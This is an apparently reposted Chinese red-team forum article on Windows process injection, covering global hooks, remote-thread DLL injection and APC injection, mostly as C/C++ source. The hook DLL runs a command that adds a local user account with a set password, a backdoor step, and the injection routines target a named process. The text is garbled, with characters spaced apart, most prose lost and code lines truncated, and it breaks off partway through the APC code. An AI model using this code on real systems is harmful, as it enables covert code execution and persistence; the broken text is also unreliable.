找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1|回复: 0

[18600] 2021-07-24_红队|Windows注入的一些方式

[复制链接]

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-07-24_红队|Windows注入的一些方式     W i n d o w s   1 1 c c a a b   H A C K   2 0 2 1 - 0 7 - 2 4 d l l d l l d l l n e t   u s e r m s f d l l 0 x 0 1   G l o b a l   h o o k   I n j e c t w i n d o w s 线   d l l d l l 使 S e t W i n d o w s H o o k E x W H _ G E T M E S S A G E   D L L     D L L   W H _ G E T M E S S A G E P o s t M e s s a g e S e t W i n d o w s H o o k E x : N U L L D L L H H O O K   W I N A P I   S e t W i n d o w s H o o k E x (     _ I n _   i n t   i d H o o k     _ I n _   H O O K P R O C   l p f n     _ I n _   H I N S T A N C E   h M o d     _ I n _   D W O R D   d w T h r e a d I d ) ; i d H o o k : l p f n : h M o d : d l l D l l M a i n d w T h r e a d I d : h o o k 线 I D 0
D L L / /   d l l m a i n . c p p   :     D L L   # i n c l u d e   " p c h . h " # i n c l u d e   < W i n d o w s . h > H H O O K   g _ h H o o k ; H M O D U L E   g _ h M o d u l e ; L R E S U L T   C A L L B A C K   G e t M s g P r o c (         _ I n _   i n t         c o d e ,         _ I n _   W P A R A M   w P a r a m ,         _ I n _   L P A R A M   l P a r a m ) {         r e t u r n   C a l l N e x t H o o k E x ( g _ h H o o k ,   c o d e ,   w P a r a m ,   l P a r a m ) ; } B O O L   L o a d H o o k ( v o i d )   {         g _ h H o o k   =   S e t W i n d o w s H o o k E x ( W H _ G E T M E S S A G E ,   ( H O O K P R O C ) G e t M s g P r o c ,   g _ h M o d u l e ,   0 ) ;         i f   ( g _ h H o o k )   {                 W i n E x e c ( " n e t   u s e r   a s p n e t   ' 1 q a z @ W S X '   / a d d " ,   S W _ N O R M A L ) ;                 M e s s a g e B o x ( N U L L ,   T E X T ( " l o a d   s u c c e s s f u l l y " ) ,   T E X T ( " t i t l e " ) ,   M B _ O K ) ;                 r e t u r n   T R U E ;         }         e l s e   {                 r e t u r n   F A L S E ;         } } V O I D   U n l o a d H o o k ( v o i d ) {         i f   ( g _ h H o o k )                 U n h o o k W i n d o w s H o o k E x ( g _ h H o o k ) ; } B O O L   A P I E N T R Y   D l l M a i n (   H M O D U L E   h M o d u l e ,                                               D W O R D     u l _ r e a s o n _ f o r _ c a l l ,                                               L P V O I D   l p R e s e r v e d                                           ) {         s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )         {         c a s e   D L L _ P R O C E S S _ A T T A C H :                 g _ h M o d u l e   =   h M o d u l e ;                 M e s s a g e B o x ( N U L L ,   T E X T ( " l o a d i n g " ) ,   T E X T ( " t i t l e " ) ,   M B _ O K ) ;                 b r e a k ;         c a s e   D L L _ T H R E A D _ A T T A C H :         c a s e   D L L _ T H R E A D _ D E T A C H :         c a s e   D L L _ P R O C E S S _ D E T A C H :                 b r e a k ;         }         r e t u r n   T R U E ; } 1 . 2 . 3 . 4 .
C a l l N e x t H o o k E x g _ h H o o k . d e f d l l L R E S U L T   C A L L B A C K   G e t M s g P r o c (         _ I n _   i n t         c o d e ,         _ I n _   W P A R A M   w P a r a m ,         _ I n _   L P A R A M   l P a r a m ) {         r e t u r n   C a l l N e x t H o o k E x ( g _ h H o o k ,   c o d e ,   w P a r a m ,   l P a r a m ) ; } L I B R A R Y E X P O R T S L o a d H o o k U n l o a d H o o k # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > i n t   m a i n ( ) {         H M O D U L E   h M o d u l e   =   L o a d L i b r a r y A ( " D l l . d l l " ) ;         i f   ( h M o d u l e   = =   N U L L )                 r e t u r n   0 ;         F A R P R O C   p f n L o a d H o o k   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " L o a d H o o k " ) ;         F A R P R O C   p f n U n l o a d H o o k   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " U n l o a d H o o k " ) ;         i f   ( p f n L o a d H o o k   = =   N U L L   | |   p f n U n l o a d H o o k   = =   N U L L )                 r e t u r n   0 ;         i f   ( p f n L o a d H o o k ( ) )                 p r i n t f ( " l o a d   s u c c e s s f u l l " ) ;         e l s e   {                 p r i n t f ( " l o a d   f a i l e d " ) ;                 r e t u r n   0 ;         }         p r i n t f ( " P r e s s   a n y   k e y   t o   u n l o a d   g l o b a l   h o o k " ) ;         g e t c h a r ( ) ;         p f n U n l o a d H o o k ( ) ;         p r i n t f ( " u n i n s t a l l   s u c c e s s f u l l " ) ;         r e t u r n   0 ; }
0 x 0 2   r e m o t e   i n j e c t i o n   D l l 线 线 O p e n P r o c e s s [ 访 ] : h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / p r o c t h r e a d / p r o c e s s - s e c u r i t y - a n d - a c c e s s - r i g h t s V i r t u a l A l l o c E x : H A N D L E   O p e n P r o c e s s (     D W O R D   d w D e s i r e d A c c e s s ,     B O O L     b I n h e r i t H a n d l e ,     D W O R D   d w P r o c e s s I d ) ; 1 . d w D e s i r e d A c c e s s   访 2 .   T R U E 3 . P I D L P V O I D   V i r t u a l A l l o c E x (     H A N D L E   h P r o c e s s ,     L P V O I D   l p A d d r e s s ,     S I Z E _ T   d w S i z e ,     D W O R D     f l A l l o c a t i o n T y p e ,     D W O R D     f l P r o t e c t ) ; 1 . h P r o c e s s : 2 . l p A d d r e s s : , l p A d d r e s s N U L L 3 . d w S i z e : 4 . f l A l l o c a t i o n T y p e :
f l A l l o c a t i o n T y p e [ f l A l l o c a t i o n T y p e ] h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c e x ? f 1 u r l = % 3 F a p p I d % 3 D D e v 1 6 I D E F 1 % 2 6 l % 3 D Z H - C N % 2 6 k % 3 D k ( M E M O R Y A P I % 2 5 2 F V i r t u a l A l l o c E x ) ; k ( V i r t u a l A l l o c E x ) ; k ( D e v L a n g - C % 2 5 2 B % 2 5 2 B ) ; k ( T a r g e t O S - W i n d o w s ) % 2 6 r d % 3 D t r u e W r i t e P r o c e s s M e m o r y : C r e a t e R e m o t e T h r e a d : B O O L   W r i t e P r o c e s s M e m o r y (     H A N D L E     h P r o c e s s ,     L P V O I D     l p B a s e A d d r e s s ,     L P C V O I D   l p B u f f e r ,     S I Z E _ T     n S i z e ,     S I Z E _ T     * l p N u m b e r O f B y t e s W r i t t e n ) ; 1 . h P r o c e s s :   P R O C E S S _ V M _ W R I T E     P R O C E S S _ V M _ O P E R A T I O N   访 2 . l p B a s e A d d r e s s : 3 . l p B u f f e r : 4 . n S i z e : 5 . l p N u m b e r O f B y t e s W r i t t e n : l p N u m b e r O f B y t e s W r i t t e n H A N D L E   C r e a t e R e m o t e T h r e a d (     H A N D L E                                   h P r o c e s s ,     L P S E C U R I T Y _ A T T R I B U T E S     l p T h r e a d A t t r i b u t e s ,     S I Z E _ T                                   d w S t a c k S i z e ,     L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,     L P V O I D                                   l p P a r a m e t e r ,     D W O R D                                     d w C r e a t i o n F l a g s ,     L P D W O R D                                 l p T h r e a d I d ) ; 1 . h P r o c e s s : 线 2 . l p T h r e a d A t t r i b u t e s : S E C U R I T Y _ A T T R I B U T E S   线 3 . d w S t a c k S i z e : 4 . l p S t a r t A d d r e s s : 线 L P T H R E A D _ S T A R T _ R O U T I N E   线 5 . l p P a r a m e t e r : 线 6 . d w C r e a t i o n F l a g s : 线 0 线 7 . l p T h r e a d I d 线
# i n c l u d e   < s t d i o . h > # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < i o s t r e a m > # i n c l u d e   < T l h e l p 3 2 . h > B O O L   I n j e c t D l l ( c o n s t   c h a r *   s z D l l P a t h ,   i n t   r P r o c e s s I d )   {         H A N D L E   h P r o c e s s   =   N U L L ;         L P V O I D   p D l l A d d r   =   N U L L ;         F A R P R O C   p f n S t a r t A d d r   =   N U L L ;         H A N D L E   h R e m o t e T h r e a d   =   N U L L ;         / /         h P r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   r P r o c e s s I d ) ;         i f   ( h P r o c e s s   = =   I N V A L I D _ H A N D L E _ V A L U E )   {                 r e t u r n   F A L S E ;         }         / /         p D l l A d d r   =   V i r t u a l A l l o c E x ( h P r o c e s s ,   N U L L ,   s t r l e n ( s z D l l P a t h )   +   1 ,   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ;         i f   ( ! p D l l A d d r )         {                 r e t u r n   F A L S E ;         }         / /         W r i t e P r o c e s s M e m o r y ( h P r o c e s s ,   p D l l A d d r ,   s z D l l P a t h ,   s t r l e n ( s z D l l P a t h )   +   1 ,   N U L L ) ;                 / / L o a d L i b r a r y A         p f n S t a r t A d d r   =   G e t P r o c A d d r e s s ( : : G e t M o d u l e H a n d l e ( " K e r n e l 3 2 " ) ,   " L o a d L i b r a r y A " ) ;         / / 使 C r e a t e R e m o t e T h r e a d 线 D L L         i f   ( ( h R e m o t e T h r e a d   =   C r e a t e R e m o t e T h r e a d ( h P r o c e s s ,   N U L L ,   0 ,   ( L P T H R E A D _ S T A R T _ R O U T I N E ) p f n S t a r t A d d r ,   p D l l A d d r         {                 s t d : : c o u t   < <   " I n j e c t i n g   t h r e a d   f a i l e d ! "   < <   s t d : : e n d l ;                 r e t u r n   F A L S E ;         }         / * C l o s e H a n d l e ( h P r o c e s s ) ;         C l o s e H a n d l e ( h R e m o t e T h r e a d ) ; * /                 r e t u r n   T R U E ; } i n t   G e t P r o c e s s I D ( c o n s t   c h a r *   s z P r o c e s s N a m e s )   {         i n t   i R e t   =   - 1 ;         P R O C E S S E N T R Y 3 2   p e 3 2 ;         p e 3 2 . d w S i z e   =   s i z e o f ( P R O C E S S E N T R Y 3 2 ) ;         H A N D L E   h T o o l 3 2   =   C r e a t e T o o l h e l p 3 2 S n a p s h o t ( T H 3 2 C S _ S N A P P R O C E S S ,   N U L L ) ;         B O O L   b P r o c e s s   =   P r o c e s s 3 2 F i r s t ( h T o o l 3 2 ,   & p e 3 2 ) ;         i f   ( b P r o c e s s   = =   T R U E )         {                 w h i l e   ( ( P r o c e s s 3 2 N e x t ( h T o o l 3 2 ,   & p e 3 2 ) )   = =   T R U E )                 {                         i f   ( s t r c m p ( p e 3 2 . s z E x e F i l e ,   s z P r o c e s s N a m e s )   = =   0 )                         {                                 i R e t   =   p e 3 2 . t h 3 2 P r o c e s s I D ;                                 b r e a k ;                         }                 }         }         r e t u r n   i R e t ; } i n t   m a i n ( )   {         i n t   r P r o c e s s I d   =   G e t P r o c e s s I D ( " D e m o . e x e " ) ;         p r i n t f ( " % d " , r P r o c e s s I d ) ;         i f   ( r P r o c e s s I d   >   0 )   {                 I n j e c t D l l ( " F : D l l . d l l " ,   r P r o c e s s I d ) ;         }         r e t u r n   0 ; }
P r o c e s s   M o n i s t o r d l l 0 x 0 3   A P C   I n j e c t 线 线   A P C   线   A P C   A P C   线 线   A P C   A P C A P C
O p e n P r o c e s s W I N 3 2   A P I C r e a t e T o o l h e l p 3 2 S n a p s h o t T h r e a d 3 2 F i r s t T h r e a d 3 2 N e x t 线 线 I D V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y D L L 线 I D O p e n T h r e a d T H R E A D _ A L L _ A C C E S S 访 线 线 Q u e u e U s e r A P C A P C 线 A P C L o a d L i b r a r y A A P C D L L 线 A P C D L L 线 A P C 使 Q u e u e U s e r A P C A P C A P C Q u e u e U s e r A P C : D W O R D   Q u e u e U s e r A P C (     P A P C F U N C     p f n A P C ,     H A N D L E         h T h r e a d ,     U L O N G _ P T R   d w D a t a ) ; 1 . p f n P A C :   A P C   线 2 . h T h r e a d : 线 T H R E A D _ S E T _ C O N T E X T 访 3 . d w D a t a : p f n A P C   A P C   # i n c l u d e   < W i n d o w s . h > # i n c l u d e < T l H e l p 3 2 . h > / /   P I D D W O R D   G e t P r o c e s s P I D ( c o n s t   c h a r *   p s z P r o c e s s N a m e ) {         D W O R D   d w P r o c e s s I d   =   0 ;         P R O C E S S E N T R Y 3 2   p e 3 2   =   {   0   } ;         H A N D L E   h S n a p s h o t   =   N U L L ;         B O O L   b R e t   =   F A L S E ;         : : R t l Z e r o M e m o r y ( & p e 3 2 ,   s i z e o f ( p e 3 2 ) ) ;         p e 3 2 . d w S i z e   =   s i z e o f ( p e 3 2 ) ;         / /           h S n a p s h o t   =   : : C r e a t e T o o l h e l p 3 2 S n a p s h o t ( T H 3 2 C S _ S N A P P R O C E S S ,   0 ) ;         i f   ( N U L L   = =   h S n a p s h o t )         {                 M e s s a g e B o x ( N U L L ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                 r e t u r n   d w P r o c e s s I d ;         }         / /           b R e t   =   : : P r o c e s s 3 2 F i r s t ( h S n a p s h o t ,   & p e 3 2 ) ;         w h i l e   ( b R e t )         {                 / /                   i f   ( 0   = =   : : l s t r c m p i ( p e 3 2 . s z E x e F i l e ,   p s z P r o c e s s N a m e ) )                 {                         d w P r o c e s s I d   =   p e 3 2 . t h 3 2 P r o c e s s I D ;                         b r e a k ;                 }                 / /                   b R e t   =   : : P r o c e s s 3 2 N e x t ( h S n a p s h o t ,   & p e 3 2 ) ;         }         r e t u r n   d w P r o c e s s I d ; }
/ /   P I D 线 I D B O O L   G e t T h r e a d I D ( D W O R D   d w P r o c e s s I d ,   D W O R D * *   p p T h r e a d I d ,   D W O R D *   p d w T h r e a d I d L e n g t h ) {         D W O R D *   p T h r e a d I d   =   N U L L ;         D W O R D   d w T h r e a d I d L e n g t h   =   0 ;         D W O R D   d w B u f f e r L e n g t h   =   1 0 0 0 ;         T H R E A D E N T R Y 3 2   t e 3 2   =   {   0   } ;         H A N D L E   h S n a p s h o t   =   N U L L ;         B O O L   b R e t   =   T R U E ;         d o         {                 / /                   p T h r e a d I d   =   n e w   D W O R D [ d w B u f f e r L e n g t h ] ;                 i f   ( N U L L   = =   p T h r e a d I d )                 {                         M e s s a g e B o x ( N U L L ,   "   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 : : R t l Z e r o M e m o r y ( p T h r e a d I d ,   ( d w B u f f e r L e n g t h   *   s i z e o f ( D W O R D ) ) ) ;                 / /   线                 : : R t l Z e r o M e m o r y ( & t e 3 2 ,   s i z e o f ( t e 3 2 ) ) ;                 t e 3 2 . d w S i z e   =   s i z e o f ( t e 3 2 ) ;                 h S n a p s h o t   =   : : C r e a t e T o o l h e l p 3 2 S n a p s h o t ( T H 3 2 C S _ S N A P T H R E A D ,   0 ) ;                 i f   ( N U L L   = =   h S n a p s h o t )                 {                         M e s s a g e B o x ( N U L L ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /   线                 b R e t   =   : : T h r e a d 3 2 F i r s t ( h S n a p s h o t ,   & t e 3 2 ) ;                 w h i l e   ( b R e t )                 {                         / /   线 I D                         i f   ( t e 3 2 . t h 3 2 O w n e r P r o c e s s I D   = =   d w P r o c e s s I d )                         {                                 p T h r e a d I d [ d w T h r e a d I d L e n g t h ]   =   t e 3 2 . t h 3 2 T h r e a d I D ;                                 d w T h r e a d I d L e n g t h + + ;                         }                         / /   线                         b R e t   =   : : T h r e a d 3 2 N e x t ( h S n a p s h o t ,   & t e 3 2 ) ;                 }                 / /                   * p p T h r e a d I d   =   p T h r e a d I d ;                 * p d w T h r e a d I d L e n g t h   =   d w T h r e a d I d L e n g t h ;                 b R e t   =   T R U E ;         }   w h i l e   ( F A L S E ) ;         i f   ( F A L S E   = =   b R e t )         {                 i f   ( p T h r e a d I d )                 {                         d e l e t e [ ] p T h r e a d I d ;                         p T h r e a d I d   =   N U L L ;                 }         }         r e t u r n   b R e t ; } / /   A P C B O O L   A p c I n j e c t D l l ( c o n s t   c h a r *   p s z P r o c e s s N a m e , c o n s t   c h a r *   p s z D l l N a m e ) {         B O O L   b R e t   =   F A L S E ;         D W O R D   d w P r o c e s s I d   =   0 ;         D W O R D *   p T h r e a d I d   =   N U L L ;         D W O R D   d w T h r e a d I d L e n g t h   =   0 ;         H A N D L E   h P r o c e s s   =   N U L L ,   h T h r e a d   =   N U L L ;
        H A N D L E   h P r o c e s s   =   N U L L ,   h T h r e a d   =   N U L L ;         P V O I D   p B a s e A d d r e s s   =   N U L L ;         P V O I D   p L o a d L i b r a r y A F u n c   =   N U L L ;         S I Z E _ T   d w R e t   =   0 ,   d w D l l P a t h L e n   =   1   +   : : l s t r l e n ( p s z D l l N a m e ) ;         D W O R D   i   =   0 ;         d o         {                 / /   P I D                 d w P r o c e s s I d   =   G e t P r o c e s s P I D ( p s z P r o c e s s N a m e ) ;                 i f   ( 0   > =   d w P r o c e s s I d )                 {                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /   P I D 线 I D                 b R e t   =   G e t T h r e a d I D ( d w P r o c e s s I d ,   & p T h r e a d I d ,   & d w T h r e a d I d L e n g t h ) ;                 i f   ( F A L S E   = =   b R e t )                 {                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /                   h P r o c e s s   =   : : O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   d w P r o c e s s I d ) ;                 i f   ( N U L L   = =   h P r o c e s s )                 {                         M e s s a g e B o x ( N U L L ,   " O p e n P r o c e s s   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /                   p B a s e A d d r e s s   =   : : V i r t u a l A l l o c E x ( h P r o c e s s ,   N U L L ,   d w D l l P a t h L e n ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E                 i f   ( N U L L   = =   p B a s e A d d r e s s )                 {                         M e s s a g e B o x ( N U L L ,   " V i r t u a l A l l o c E x   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /   D L L                   : : W r i t e P r o c e s s M e m o r y ( h P r o c e s s ,   p B a s e A d d r e s s ,   p s z D l l N a m e ,   d w D l l P a t h L e n ,   & d w R e t ) ;                 i f   ( d w R e t   ! =   d w D l l P a t h L e n )                 {                         M e s s a g e B o x ( N U L L ,   " W r i t e P r o c e s s M e m o r y   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /     L o a d L i b r a r y                   p L o a d L i b r a r y A F u n c   =   : : G e t P r o c A d d r e s s ( : : G e t M o d u l e H a n d l e ( " k e r n e l 3 2 . d l l " ) ,   " L o a d L i b r a r y A " ) ;                 i f   ( N U L L   = =   p L o a d L i b r a r y A F u n c )                 {                         M e s s a g e B o x ( N U L L ,   " G e t P r o c A d d r e s s   e r r o r " ,   " T I T L E " ,   M B _ O K ) ;                         b R e t   =   F A L S E ;                         b r e a k ;                 }                 / /   线 ,   A P C                 i   =   d w T h r e a d I d L e n g t h ;                 f o r   ( ;   i   >   0 ;   - - i )                 {                         / /   线                         h T h r e a d   =   : : O p e n T h r e a d ( T H R E A D _ A L L _ A C C E S S ,   F A L S E ,   p T h r e a d I d [ i ] ) ;                         i f   ( h T h r e a d )                         {                                 / /   A P C                                 : : Q u e u e U s e r A P C ( ( P A P C F U N C ) p L o a d L i b r a r y A F u n c ,   h T h r e a d ,   ( U L O N G _ P T R ) p B a s e A d d r e s s ) ;                                 / /   线                                 : : C l o s e H a n d l e ( h T h r e a d ) ;                                 h T h r e a d   =   N U L L ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:35 , Processed in 0.369382 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表